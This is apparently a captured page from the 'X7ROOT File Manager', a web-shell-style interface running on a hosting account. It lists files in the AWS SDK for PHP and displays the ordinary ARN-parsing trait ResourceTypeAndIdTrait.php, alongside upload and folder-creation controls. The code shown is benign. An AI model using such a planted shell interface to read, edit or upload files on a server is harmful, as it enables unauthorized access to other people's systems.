X7ROOT File Manager
Current Path:
/home/gfecatvj/sites/realesbar/vendor/aws/aws-sdk-php/src/Arn
home
/
gfecatvj
/
sites
/
realesbar
/
vendor
/
aws
/
aws-sdk-php
/
src
/
Arn
/
📁
..
📄
AccessPointArn.php
(2.48 KB)
📄
Arn.php
(4 KB)
📄
ArnInterface.php
(864 B)
📄
ArnParser.php
(927 B)
📁
Exception
📄
ResourceTypeAndIdTrait.php
(789 B)
📁
S3
Editing: ResourceTypeAndIdTrait.php
<?php namespace Aws\Arn; /** * @internal */ trait ResourceTypeAndIdTrait { public function getResourceType() { return $this->data['resource_type']; } public function getResourceId() { return $this->data['resource_id']; } private static function parseResourceTypeAndId(array $data) { $data['resource_type'] = null; $data['resource_id'] = null; $length = strlen($data['resource']); for ($i = 0; $i < $length; $i++) { if (in_array($data['resource'][$i], ['/', ':'])) { $data['resource_type'] = substr($data['resource'], 0, $i); $data['resource_id'] = substr($data['resource'], $i + 1); break; } } return $data; } }
Upload File
Create Folder